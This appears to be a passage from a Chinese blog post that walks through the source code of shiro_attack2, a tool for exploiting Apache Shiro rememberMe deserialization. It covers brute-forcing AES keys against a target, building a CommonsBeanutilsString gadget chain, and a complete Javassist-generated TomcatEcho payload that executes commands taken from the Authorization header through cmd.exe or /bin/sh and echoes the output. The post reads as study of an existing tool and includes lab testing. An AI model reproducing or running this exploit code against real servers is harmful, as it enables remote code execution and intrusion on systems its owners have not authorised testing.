那么再跟近一下KeyEcho.getObject()

返回一个SimplePrincipalCollection实例。
SimplePrincipalCollection不必跟进,是一个内部类,大致解释一下SimplePrincipalCollection就是

  • 类名:org.apache.shiro.subject.SimplePrincipalCollection
  • 来源:Apache Shiro 框架
  • 作用:存储用户主体(Principal)信息的集合类
  • 特点:实现了 Serializable,可被序列化

也就是这个值被序列化了
那么为什么使用 SimplePrincipalCollection?

  1. 它是Shiro框架的标准类,序列化格式稳定
  2. 空对象体积小,序列化后字节数少,加密/传输效率高
  3. 密钥正确时能正常反序列化;错误时解密失败或反序列化异常,便于判断
  4. 不包含恶意代码,仅用于密钥检测

好的,那现在回到sendpayload

SerializableUtils.toByteArray是第三方库,不必要继续分析,就是一个序列化库
那现在分析加密cbc加密函数cbcEncrypt.encrypt()

1
2
3
4
5
6
7
8
9
10
11
12
@Override
public String encrypt(String key, byte[] objectBytes) {
//将base64编码的密钥字符串解码为字节数组(shiro密钥通常是Base64格式,如"4AvVhmFLUs0KTA3Kprsdag==")
byte[] keyDecode = Base64.decode(key);
//创建Apache Shiro的AES加密服务实例(使用默认的AES/CBC/PKCS5Padding模式)
AesCipherService cipherService = new AesCipherService();
//使用密钥加密序列化后的字节数组,返回ByteSource对象(包含IV+加密数据)
SimpleByteSource byteSource = (SimpleByteSource) cipherService.encrypt(objectBytes, keyDecode);
//将加密后的字节数组(IV+密文)转换为Base64字符串并返回
return byteSource.toBase64();

}

说明一下关键点

  1. 方法参数
  • key: base64编码的密钥字符串(例如 “4AvVhmFLUs0KTA3Kprsdag==”)
  • objectBytes:已序列化的字节数组(来自SerializableUtils.toByteArray(chainObject))
  1. AES-CBC加密流程
    1、Base64 解码密钥:Base64.decode(key) ->keyDecode(字节数组)
    2、创建加密服务:AesCipherService(默认使用 AES/CBC/PKCS5Padding)
    3、加密数据:cipherService.encrypt(objectBytes, keyDecode)
  • 自动生成16字节IV
  • 使用密钥加密objectBytes
  • 返回格式:[IV(16字节)][加密后的数据]
    4、Base64编码:将IV+密文转为Base64字符串
  1. 分析一下内部类方法cipherService.encrypt()
    ok,现在这个分析完了,继续跟进一下内部类cipherService.encrypt()
  • 文件位置:org.apache.shiro.crypto.AesCipherService(Apache Shiro 框架)
  • 作用:执行AES-CBC加密
  • 内部流程:
    1、 生成16字节随机IV
    2、 使用密钥和IV初始化Cipher(AES/CBC/PKCS5Padding)
    3、 加密objectBytes
    4、 返回[IV][密文]的字节数组

看下源码

里面的私有encrypt方法就不跟进了

当然还有shiroGCM.encrypt()方法也是自定义的,这个就不跟进分析了,把墨水留给主要的吧
好的,那么到了这里sendpayload()算是分析完了
回到 keysCrack()函数,因为keyTestTask()已经分析完了
现在看看多shiro场景的爆破key方式

跟进keyTestTask2()方法

同样的回到keysCrack()函数然后ctrl+左键跟进keyTestTask2()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public void keyTestTask2(final List<String> shiroKeys) {
Thread thread = new Thread(new Runnable() {
public void run() {
try {
for(int i = 0; i < shiroKeys.size(); ++i) {
String shirokey = (String)shiroKeys.get(i);

try {
String rememberMe = AttackService.shiro.sendpayload(AttackService.principal, AttackService.this.shiroKeyWord, (String)shiroKeys.get(i));
HashMap<String, String> header = new HashMap();
header.put("Cookie", rememberMe);
String result = AttackService.this.headerHttpRequest(header);
Thread.sleep(100L);
if (result!=null &&!result.isEmpty()&&countDeleteMe(result)<flagCount) {
AttackService.this.mainController.logTextArea.appendText(Utils.log("[++] 找到key:" + shirokey));
AttackService.this.mainController.shiroKey.setText(shirokey);
AttackService.realShiroKey = shirokey;
break;
}

AttackService.this.mainController.logTextArea.appendText(Utils.log("[-] " + shirokey));
} catch (Exception var6) {
AttackService.this.mainController.logTextArea.appendText(Utils.log("[-] " + shirokey + " " + var6.getMessage()));
}

}
AttackService.this.mainController.logTextArea.appendText(Utils.log("[+] 爆破结束"));

} catch (Exception var7) {
throw var7;
}
}
});
thread.start();
}

对比keyTestTask()方法发现基本相同,不同的点在于判断语句

1
if (result!=null &&!result.isEmpty()&&countDeleteMe(result)<flagCount)

就是判断如果少了一个或多个deleteme就是密钥使用正确,没什么可分析的

那么到现在simpleKeyCrack也分析完了

爆破密钥分析

回到起点
看一看gui.fxml
爆破密钥处,绑定了一个事件

1
2
3
4
<Button fx:id="crackKeyBtn" mnemonicParsing="false" onAction="#crackKeyBtn" prefHeight="28.0" prefWidth="161.0" text="爆破密钥">
<font>
<Font size="14.0" />
</font></Button>

ctrl+左键跟进一下

跟进crackKeyBtn()方法

1
2
3
4
5
6
7
8
9

@FXML
void crackKeyBtn(ActionEvent event) {
this.initAttack();
if (this.attackService.checkIsShiro()) {
this.attackService.keysCrack();
}

}


前两个方法已经分析过了,现在跟进一下keysCrack()方法

跟进attackService.keysCrack()方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public void keysCrack() {
try {
//读取data/shiro_keys.txt,待跟进
List<String> shiroKeys = this.getALLShiroKeys();
//如果之前检测出是shiro
if (flagCount ==1){
//单个shirokey测试,已分析过
this.keyTestTask(shiroKeys);
}
else {
//多个shiro场景的爆破key方式,已分析过
this.keyTestTask2(shiroKeys);
this.mainController.logTextArea.appendText(Utils.log("[++] 含有多个shiro场景"));
}
} catch (Exception var2) {
this.mainController.logTextArea.appendText(Utils.log(var2.getMessage()));
}

}

跟进attackService.getALLShiroKeys()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public List<String> getALLShiroKeys() {
//用ArrayList保存所有待测key
ArrayList shiroKeys = new ArrayList();

try {
//存储文件路径,cwd前面有声明过,是当前工作目录的路径(运行jar的目录)
List<String> array = new ArrayList(Arrays.asList(cwd, "data", "shiro_keys.txt"));
//把 ["当前目录", "data", "shiro_keys.txt"] 用系统文件分隔符(Windows 是 \)拼成一个路径字符串,比如:C:\xxx\yyy\data\shiro_keys.txt
File shiro_file = new File(StringUtils.join(array, File.separator));
//打开这个文件的字节流,包装成字符流指定编码为UTF-8,再包一层缓冲流,方便逐行读取文本,最后赋值给br
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(shiro_file), "UTF-8"));

try {
String line;
try {
//按行读取
while((line = br.readLine()) != null) {
shiroKeys.add(line);//每一行一个候选key
}
} catch (IOException var10) {
var10.printStackTrace();
}
} finally {
if (br != null) {
br.close();//关闭释放资源
}

}
} catch (Exception var12) {
String message = var12.getMessage();
System.out.println(message);//调试
}
//返回所有候选key列表
return shiroKeys;
}


也挺好理解的,就是读取文件密钥的操作

密钥在这里,但是byd运行源码发现路径指定的是这里

将target中的密钥文件复制到/data/目录下
就没问题了,封装版本的不用管

ok,爆破密钥到这就分析完了

检测当前利用链分析


定位检测当前利用链
在gui.fxml定位

1
2
3
4
<Button fx:id="crackSpcGadgetBtn" mnemonicParsing="false" onAction="#crackSpcGadgetBtn" prefHeight="25.0" prefWidth="188.0" text="检测当前利用链">
<font>
<Font size="14.0" />
</font></Button>

进入按钮绑定事件crackSpcGadgetBtn

跟进crackSpcGadgetBtn()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@FXML
void crackSpcGadgetBtn(ActionEvent event) {
//从UI的“指定密钥”输入框中读取当前Shiro key。
String spcShiroKey = this.shiroKey.getText();
//如果attackService还没初始化(第一次点击),就调用initAttack()
if (this.attackService == null) {
this.initAttack();
}
//判断是否填入了一个key,这里为有key
if (!spcShiroKey.equals("")) {
//如果有key,就调用AttackService.gadgetCrack去测试”当前选中的gadget+当前选中的回显方式“
//this.gadgetOpt.getValue():界面“利用链”下拉框当前选中的 gadget 名(比如 CommonsBeanutilsString)。
//this.echoOpt.getValue():界面“回显方式”下拉框当前选中的 echo 名(比如 TomcatEcho)。
boolean flag = this.attackService.gadgetCrack((String)this.gadgetOpt.getValue(), (String)this.echoOpt.getValue(), spcShiroKey);
//如果 gadgetCrack返回false,说明用这条gadget+echo组合构造出来的payload不能正常回显,就在日志区域提示“未找到构造链”。
if (!flag) {
this.logTextArea.appendText(Utils.log("未找到构造链"));
}
} else {
this.logTextArea.appendText(Utils.log("请先手工填入key或者爆破Shiro key"));
}

}

跟进attackService.gadgetCrack()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public boolean gadgetCrack(String gadgetOpt, String echoOpt, String spcShiroKey) {
// 初始化结果标志,表示是否找到“可用的利用链+回显”。
boolean flag = false;

try {
//调用GadgetPayload(...)构造一个带"命令执行/回显能力"的rememberMe Cookie值
//gadgetOpt:利用链名(如 CommonsBeanutilsString)
//echoOpt:回显方式名(如 TomcatEcho 或 SpringEcho)
//spcShiroKey:你要测试的 Shiro key(已经被确认/猜测是正确的)
String rememberMe = this.GadgetPayload(gadgetOpt, echoOpt, spcShiroKey);
//如果GadgetPayload构造成功(没抛异常,返回非null)。
if (rememberMe != null) {
//创建一个新的请求头Map
HashMap header = new HashMap();
//将刚刚生成的rememberMe放入Cookie头中
header.put("Cookie", rememberMe + ";");
//调用headerHttpRequest发送HTTP请求
String result = this.headerHttpRequest(header);
//用一个简单的条件来判断“构造链是否成功触发回显”
if (result.contains("Host")) {
//这是我添加的调试信息,因为不是很明白为什么回包会包含host,后面发现不与正常请求回复包相同
System.out.println(result);
//日志区输出:已经发现可用构造链和回显方式,提示你去下面的“命令执行/内存马”标签页进行利用。
this.mainController.logTextArea.appendText(Utils.log("[++] 发现构造链:" + gadgetOpt + " 回显方式: " + echoOpt));
this.mainController.logTextArea.appendText(Utils.log("[++] 请尝试进行功能区利用。"));
//记录成功的gadget名(后续执行命令、内存马会用到)
this.mainController.gadgetOpt.setValue(gadgetOpt);
this.mainController.echoOpt.setValue(echoOpt);
gadget = gadgetOpt;
//记录这次成功的rememberMe Cookie值,后续命令执行时会复用。
attackRememberMe = rememberMe;
//表示找到了可用链
flag = true;
System.out.println("Cookie:"+rememberMe + ";");
} else {
//失败分支:如果响应中不包括“Host”,认为这组gadget+echo+key没有成功回显,日志记录这次测试失败。
this.mainController.logTextArea.appendText(Utils.log("[-] 测试:" + gadgetOpt + " 回显方式: " + echoOpt));
}
}
} catch (Exception var8) {
//捕获整个流程中的任何异常,写入之日而不是抛出到UI
this.mainController.logTextArea.appendText(Utils.log(var8.getMessage()));
}
//把这条利用链是否成功的布尔结果返回给 crackSpcGadgetBtn,用于决定是否提示“未找到构造链”。
return flag;
}


分析到

1
if (result.contains("Host")) 

在分析这一行时我对于返回信息有所疑惑,Host为什么会出现到返回包里,于是搭建了靶场测试一下,发现这里与一般的http返回包不同
下图是调试时输出的返回包result信息

可以看到包含了Host,代表利用链成功触发回显
那么这是一个条件语句,那么否的条件呢,这里使用另一条错误的利用链调试

可以看到,使用错误的利用链并不会返回Host头,这就能够以此进行区分

好了,问题解决了,那么继续跟进一下GadgetPayload(),看看如何构造利用链

跟进attackService.GadgetPayload()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public String GadgetPayload(String gadgetOpt, String echoOpt, String spcShiroKey) {
//准备一个变量,存最终生成的rememberMe cookie字符串
String rememberMe = null;

try {
//根据gadget名(如CommonsBeanutilsString)找到对应的payload类
//ObjectPayload.Utils.getPayloadClass(gadgetOpt) 会在 deser/payloads 包中按名称查找具体实现类。
Class<? extends ObjectPayload> gadgetClazz = com.summersec.attack.deser.payloads.ObjectPayload.Utils.getPayloadClass(gadgetOpt);
//通过反射newInstance()创建这个payload类的实例
//这些payload类内部实现了不同的“反序列化利用链”(CommonsCollections、CommonsBeanutils等)。
ObjectPayload<?> gadgetPayload = (ObjectPayload)gadgetClazz.newInstance();
//调用Gadgets.createTemplatesImpl(echoOpt)创建一个字节码模板对象,echoOpt指定回显类型(TomcatEcho,SpringEcho,AllEcho等)
Object template = Gadgets.createTemplatesImpl(echoOpt);
//调用gadgetPayload的getObjct(template),把上一步的模板包装成一个“完整的利用链对象”
//这个chainObject就是最重要被序列化并在目标服务端触发反序列化漏洞时执行的恶意对象。
Object chainObject = gadgetPayload.getObject(template);
//调用我们之前已经分析过的shiro.sendpayload,最终rememberMe就是可以放进Cookie头里的值。
rememberMe = shiro.sendpayload(chainObject, this.shiroKeyWord, spcShiroKey);
} catch (Exception var9) {
//打印异常栈
var9.printStackTrace();
this.mainController.logTextArea.appendText(Utils.log(var9.getMessage()));
}
//返回给gadgetCrack,后者再把它放到 Cookie 头里发请求。
return rememberMe;
}

这里跟进一下第一个引用ObjectPayload.Utils

1
Class<? extends ObjectPayload> gadgetClazz = com.summersec.attack.deser.payloads.ObjectPayload.Utils.getPayloadClass(gadgetOpt);

ctrl+左键跟进一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public interface ObjectPayload<T> { T getObject(Object paramObject) throws Exception;

public static class Utils {
//静态方法,根据类名字符串返回对应的ObjectPayload实现类
public static Class<? extends ObjectPayload> getPayloadClass(String className) {
//初始化返回向量
Class<? extends ObjectPayload> clazz = null;
try {
//拼接包路径,例如className = "CommonsBeanutilsString" → "com.summersec.attack.deser.payloads.CommonsBeanutilsString"
clazz = (Class)Class.forName("com.summersec.attack.deser.payloads." + StringUtils.capitalize(className));
} catch (Exception exception) {}//如果找不到类,catch会捕获异常,返回null
//返回类对象
return clazz;
}
}
}

分析完了,回到attackService
跟进一下第二个引用

1
Object template = Gadgets.createTemplatesImpl(echoOpt);

1
2
3
public static Object createTemplatesImpl(String classpayload) throws Exception {
return Boolean.parseBoolean(System.getProperty("properXalan", "false")) ? createTemplatesImpl(classpayload, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet")) : createTemplatesImpl(classpayload, TemplatesImpl.class, AbstractTranslet.class);
}

这个方法说实话有点模糊,问过ai也是不太了解
分段式解释

  • String classpayload:参数,表示回显方式名称(如 “TomcatEcho”, “SpringEcho”, “AllEcho”),用于生成对应的回显类。
  • throws Exception:可能抛出异常。

方法体(三元运算符)

1
2
3
4
5
6
7
8
9
10
11
return Boolean.parseBoolean(System.getProperty("properXalan", "false"))
? createTemplatesImpl(
classpayload,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet")
)
: createTemplatesImpl(
classpayload,
TemplatesImpl.class,
AbstractTranslet.class
);

先分析这个判断部分

1
Boolean.parseBoolean(System.getProperty("properXalan", "false"))
  • System.getProperty(“properXalan”, “false”):读取系统属性 properXalan,不存在时返回 “false”。
  • Boolean.parseBoolean(…):将字符串转为布尔值(”true” → true,其他 → false)。
  • 作用:判断是否使用“标准 Xalan 实现”。

propeoXalan是什么?

  • Xalan 是 Apache 的 XSLT 处理器,包含 TemplatesImpl 和 AbstractTranslet。
  • 在 JDK 中,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 是内部实现(可能随 JDK 版本变化)。
  • org.apache.xalan.xsltc.trax.TemplatesImpl 是标准 Xalan 库中的类(更稳定,但需要额外依赖)。

为什么需要这个判断?

  • 兼容性:不同环境可能只有 JDK 内部类或只有标准 Xalan,需要适配。
  • 稳定性:标准 Xalan 更稳定,但需要额外依赖;JDK 内部类更通用但可能变化。
    说实话这里还是没怎么了解,不过影响也不是很大
    分析为true的语句吧
    1
    2
    3
    4
    5
    createTemplatesImpl(
    classpayload,
    Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
    Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet")
    )
  • Class.forName(“org.apache.xalan.xsltc.trax.TemplatesImpl”):动态加载标准 Xalan 的 TemplatesImpl。
  • Class.forName(“org.apache.xalan.xsltc.runtime.AbstractTranslet”):动态加载标准 Xalan 的 AbstractTranslet。
  • 适用场景:目标环境有标准 Xalan 库,或需要更稳定的实现。

为false的语句

1
2
3
4
5
createTemplatesImpl(
classpayload,
TemplatesImpl.class,
AbstractTranslet.class
)
  • TemplatesImpl.class:使用 JDK 内部的 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl。
  • AbstractTranslet.class:使用 JDK 内部的 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。
  • 适用场景:大多数情况,JDK 自带,无需额外依赖。

方法目的总结

  • 根据系统属性选择使用标准 Xalan 或 JDK 内部类。
  • 创建包含回显代码的 TemplatesImpl 对象,用于反序列化利用链。

如何设置 properXalan?

  • 启动时设置:java -DproperXalan=true -jar shiro_attack2.jar
  • 代码中设置:System.setProperty(“properXalan”, “true”);

小小跟进一下实现的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public static <T> T createTemplatesImpl(String payload, Class<T> tplClass, Class<?> abstTranslet) throws Exception {
//创建TemplatesImpl实例
T templates = tplClass.newInstance();
//获取Javassist类池,用于动态生成类
ClassPool pool = ClassPool.getDefault();
//根据echo名称(如“TomcatEcho”)获取对应的EchoPayload类。这里调用了EchoPayload.Utils.getPayloadClass
Class<? extends EchoPayload> echoClazz = Utils.getPayloadClass(payload);
//创建EchoPayload实例
EchoPayload<?> echoObj = (EchoPayload)echoClazz.newInstance();
//调用genPayload()生成包含回显逻辑的CtClass。具体实现见TomcatEcho.genPayload()。
CtClass clazz = echoObj.genPayload(pool);
//获取AbstractTranslet父类
CtClass superClass = pool.get(abstTranslet.getName());
//设置父类为AbstractTranslet,使生成的类可被TemplatesImpl加载
clazz.setSuperclass(superClass);
//将CtClass编译为字节码数组。
byte[] classBytes = clazz.toBytecode();
//获取TemplatesImpl大的_bytecodes字段(私有)
Field bcField = TemplatesImpl.class.getDeclaredField("_bytecodes");
//设置字段可访问
bcField.setAccessible(true);
//将字节码数组注入到TemplatesImpl
bcField.set(templates, new byte[][]{classBytes});
//获取_name字段
Field nameField = TemplatesImpl.class.getDeclaredField("_name");
//设置字段可访问
nameField.setAccessible(true);
//设置模板名称为“a”
nameField.set(templates, "a");
//返回配置好的TemplatesImpl对象
return templates;
}


然后再跟进一下Utils.getPayloadClass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public interface EchoPayload<T> {
CtClass genPayload(ClassPool paramClassPool) throws Exception;

public static class Utils
{
public static Class<? extends EchoPayload> getPayloadClass(String className) throws ClassNotFoundException {
//初始化返回变量
Class<? extends EchoPayload> clazz = null;
try {
//先尝试在com.summersec.attack.deser.echo 包下查找,例如className = "TomcatEcho" -> "com.summersec.attack.deser.echo.TomcatEcho"
clazz = (Class)Class.forName("com.summersec.attack.deser.echo." + StringUtils.capitalize(className));
} catch (ClassNotFoundException e1) {
//如果echo包下找不到,在尝试plugins包(如InjectMemTool)
clazz = (Class)Class.forName("com.summersec.attack.deser.plugins." + StringUtils.capitalize(className));
} catch (Exception e) {
//捕获其他异常并打印
e.printStackTrace();
}
//返回类对象(找不到则为null)
return clazz;
}
}
}


作用:将 echo 名称(如 “TomcatEcho”)转换为对应的 EchoPayload 类对象。

接着我们继续回到createTemplatesImpl,并跟进第二个外部引用echoObj.genPayload(pool),这里以TomcatEcho为例)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
    @Override
//生成包含回显逻辑的CtClass
public CtClass genPayload(final ClassPool pool) throws CannotCompileException, NotFoundException, IOException {
//创建一个新类,类名带时间戳避免冲突
final CtClass clazz = pool.makeClass("com.summersec.x.Test" + System.nanoTime());
//删除默认构造函数,后续会添加自定义构造函数
if (clazz.getDeclaredConstructors().length != 0) {
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
}


//添加writeBody方法,用于将Base64编码的数据写入响应
clazz.addMethod(CtMethod.make(" private static void writeBody(Object var0, byte[] var1) throws Exception {\n" +
" byte[] bs = (\"$$$\" + org.apache.shiro.codec.Base64.encodeToString(var1) + \"$$$\").getBytes();\n" +
" Object var2;\n" +
" Class var3;\n" +
" try {\n" +
" var3 = Class.forName(\"org.apache.tomcat.util.buf.ByteChunk\");\n" +
" var2 = var3.newInstance();\n" +
" var3.getDeclaredMethod(\"setBytes\", new Class[]{byte[].class, int.class, int.class}).invoke(var2, new Object[]{bs, new Integer(0), new Integer(bs.length)});\n" +
" var0.getClass().getMethod(\"doWrite\", new Class[]{var3}).invoke(var0, new Object[]{var2});\n" +
" } catch (Exception var5) {\n" +
" var3 = Class.forName(\"java.nio.ByteBuffer\");\n" +
" var2 = var3.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(var3, new Object[]{bs});\n" +
" var0.getClass().getMethod(\"doWrite\", new Class[]{var3}).invoke(var0, new Object[]{var2});\n" +
" } \n" +
" }",clazz));
//添加getFV方法,用户通过反射获取字段值(包括父类字段)
clazz.addMethod(CtMethod.make(" private static Object getFV(Object var0, String var1) throws Exception {\n" +
" java.lang.reflect.Field var2 = null;\n" +
" Class var3 = var0.getClass();\n" +
"\n" +
" while(var3 != Object.class) {\n" +
" try {\n" +
" var2 = var3.getDeclaredField(var1);\n" +
" break;\n" +
" } catch (NoSuchFieldException var5) {\n" +
" var3 = var3.getSuperclass();\n" +
" }\n" +
" }\n" +
"\n" +
" if (var2 == null) {\n" +
" throw new NoSuchFieldException(var1);\n" +
" } else {\n" +
" var2.setAccessible(true);\n" +
" return var2.get(var0);\n" +
" }\n" +
" }", clazz));
//添加构造函数,包含回显逻辑
//遍历线程组,找到HTTP处理线程
//通过反射获取请求/响应对象
//检查请求头Host:如果存在,将其值写入响应头Host(用于回显检测)
//检查请求头Authorization:如果存在,解码Base64,执行命令,并将结果写入响应体
clazz.addConstructor(CtNewConstructor.make("public TomcatEcho() throws Exception {\n" +
" boolean var4 = false;\n" +
" Thread[] var5 = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), \"threads\");\n" +
"\n" +
" for (int var6 = 0; var6 < var5.length; ++var6) {\n" +
" Thread var7 = var5[var6];\n" +
" if (var7 != null) {\n" +
" String var3 = var7.getName();\n" +
" if (!var3.contains(\"exec\") && var3.contains(\"http\")) {\n" +
" Object var1 = getFV(var7, \"target\");\n" +
" if (var1 instanceof Runnable) {\n" +
" try {\n" +
" var1 = getFV(getFV(getFV(var1, \"this$0\"), \"handler\"), \"global\");\n" +
" } catch (Exception var13) {\n" +
" continue;\n" +
" }\n" +
"\n" +
" java.util.List var9 = (java.util.List) getFV(var1, \"processors\");\n" +
"\n" +
" for(int var10 = 0; var10 < var9.size(); ++var10) {\n" +
" Object var11 = var9.get(var10);\n" +
" var1 = getFV(var11, \"req\");\n" +
" Object var2 = var1.getClass().getMethod(\"getResponse\",new Class[0]).invoke(var1, new Object[0]);\n" +
" var3 = (String)var1.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(var1, new Object[]{new String(\"Host\")});\n" +
" if (var3 != null && !var3.isEmpty()) {\n" +
" var2.getClass().getMethod(\"setStatus\", new Class[]{Integer.TYPE}).invoke(var2, new Object[]{new Integer(200)});\n" +
" var2.getClass().getMethod(\"addHeader\", new Class[]{String.class, String.class}).invoke(var2, new Object[]{new String(\"Host\"), var3});\n" +
// " var2.getClass().getMethod(\"addHeader\", new Class[]{String.class, String.class}).invoke(var2, new Object[]{new String(\"Setcoolie\"), var3});\n" +
" var4 = true;\n" +
" }\n" +
"\n" +
" var3 = (String)var1.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(var1, new Object[]{new String(\"Authorization\")});\n" +
" if (var3 != null && !var3.isEmpty()) {\n" +
" var3 = org.apache.shiro.codec.Base64.decodeToString(var3.replaceAll(\"Basic \", \"\"));\n" +
" String[] var12 = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", var3} : new String[]{\"/bin/sh\", \"-c\", var3};\n" +
" writeBody(var2, (new java.util.Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter(\"\\\\A\").next().getBytes());\n" +
" var4 = true;\n" +
" }\n" +
"\n" +
" if (var4) {\n" +
" break;\n" +
" }\n" +
" }\n" +
"\n" +
" if (var4) {\n" +
" break;\n" +
" }\n" +
" }\n" +
" }\n" +
" }\n" +
" }\n" +
" }",clazz));

// 兼容低版本jdk
//clazz.getClassFile().setMajorVersion(50);:设置类文件主版本为 50(Java 6),提高兼容性。
clazz.getClassFile().setMajorVersion(50);
//return clazz;:返回生成的 CtClass。
return clazz;
}

作用:生成一个包含回显逻辑的类,当该类被 TemplatesImpl 加载并实例化时,构造函数会执行,实现命令执行和回显。

接着回到GadgetPayload

跟进一下gadgetPayload.getObject()

这里以 CommonsBeanutilsString 为例
位置src/main/java/com/summersec/attack/deser/payloads/CommonsBeanutilsString.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//实现ObjectPayload接口,泛型为Queue<Object>,表示返回一个队列对象
public class CommonsBeanutilsString implements ObjectPayload<Queue<Object>> {
//重写接口方法。
@Override
//接收template(即TemplatesImpl对象),返回利用链对象。
public Queue<Object> getObject(Object template) throws Exception {
//Apache Commons BeanUtils 的比较器,用于按 JavaBean 属性比较对象。
BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
//PriorityQueue:优先队列,使用比较器进行排序。
//参数:2是初始容量。(Comparator<?>)beanComparator是使用 BeanComparator 作为比较器。
//作用:当队列排序时,会调用BeanComparator.compare(),进而触发属性访问。
PriorityQueue<String> queue = new PriorityQueue(2, (Comparator<?>)beanComparator);
//添加两个相同字符串“1”,触发队列内部排序。此时比较的是字符串,不会触发恶意逻辑。
queue.add("1");
queue.add("1");
//Reflections.setFieldValue:通过反射设置字段值。
//参数:
//queue:目标对象。
//"queue":字段名(PriorityQueue 内部存储元素的数组字段)。
//new Object[] { template, template }:将内部数组替换为两个 template(TemplatesImpl 对象)。
//作用:将队列中的元素替换为 template,后续排序时会比较 template 对象。
Reflections.setFieldValue(queue, "queue", new Object[] { template, template });
//通过反射将 BeanComparator 的 property 字段设置为 "outputProperties"
//作用:当 BeanComparator.compare() 比较 template 时,会调用 template.getOutputProperties()。
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
//返回构造好的 PriorityQueue,作为利用链对象。
return (Queue)queue;
}
}

其中有Reflections.setFieldValue 的实现:

1
2
3
4
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
  • getField:查找字段(包括父类),并设置可访问。
  • field.set(obj, value):设置字段值。

利用链触发原理

当目标服务器反序列化这个PriorityQueue时:

  1. 反序列化回复PriorityQueue和BeanComparator。
  2. PriorityQueue.readObject()会调用heapify()进行堆排序
  3. 排序过程中调用BeanComparator.compare(template1, template2)。
  4. BeanComparator.compare()内部会:
  • 通过反射获取property字段值(“outputProperties”)。
  • 调用template1.getOutputProperties()和template2.getOutputProperties()。
  1. TemplatesImpl.getOutputProperties()会:
  • 检查_bytecodes是否已加载。
  • 如果未加载,调用defineTransletClasses()加载字节码。
  • 实例化加载的类,执行构造函数中的恶意代码(回显逻辑)。

为什么这样设计?

  1. 利用 PriorityQueue 的排序机制:反序列化时会自动排序,触发比较器。
  2. 利用 BeanComparator 的属性访问:通过反射调用 getter,绕过直接调用。
  3. 利用 TemplatesImpl.getOutputProperties():这是 TemplatesImpl 的正常方法,访问时会触发字节码加载。
  4. 通过反射设置字段:绕过正常构造流程,直接设置关键字段。

这里描述的很模糊,下一篇博客跟进一下CommonsBeanutilsString利用链,分析一下它的poc

爆破利用链及回显分析


现在分析爆破利用链及回显

首先在gui.fxml找到事件并跟进

跟进crackGadgetBtn()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
//按钮点击事件处理
@FXML
void crackGadgetBtn(ActionEvent event) {
//读取界面上的Shiro key
String spcShiroKey = this.shiroKey.getText();
//确保AttackService已初始化
if (this.attackService == null) {
this.initAttack();
}
//标记是否找到可用利用链
boolean flag = false;
//检查key是否为空
if (!spcShiroKey.equals("")) {
//生成所有gadget x echo组合列表
List<String> targets = this.attackService.generateGadgetEcho(this.gadgetOpt.getItems(), this.echoOpt.getItems());
//遍历每个组合
for(int i = 0; i < targets.size(); ++i) {
//按:分割,得到[gadget,echo]
String[] t = ((String)targets.get(i)).split(":");
//提取gadget和echo
String gadget = t[0];
String echo = t[1];
//测试当前组合,返回是否成功
flag = this.attackService.gadgetCrack(gadget, echo, spcShiroKey);
//成功则停止循环
if (flag) {
break;
}
}
//key为空则提示
} else {
this.logTextArea.appendText(Utils.log("请先手工填入key或者爆破Shiro key"));
}
//全部失败时提示“未找到构造链”
if (!flag) {
this.logTextArea.appendText(Utils.log("未找到构造链"));
}

}

跟进AttackService.generateGadgetEcho()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//生成所有 gadget × echo 组合。
public List<String> generateGadgetEcho(ObservableList gadgetItems, ObservableList echoesItems) {
//结果列表
List<String> targets = new ArrayList();
//外层遍历gadget
for(int i = 0; i < gadgetItems.size(); ++i) {
//内层遍历echo
for(int j = 0; j < echoesItems.size(); ++j) {
System.out.println();
System.out.println(echoesItems.get(j));
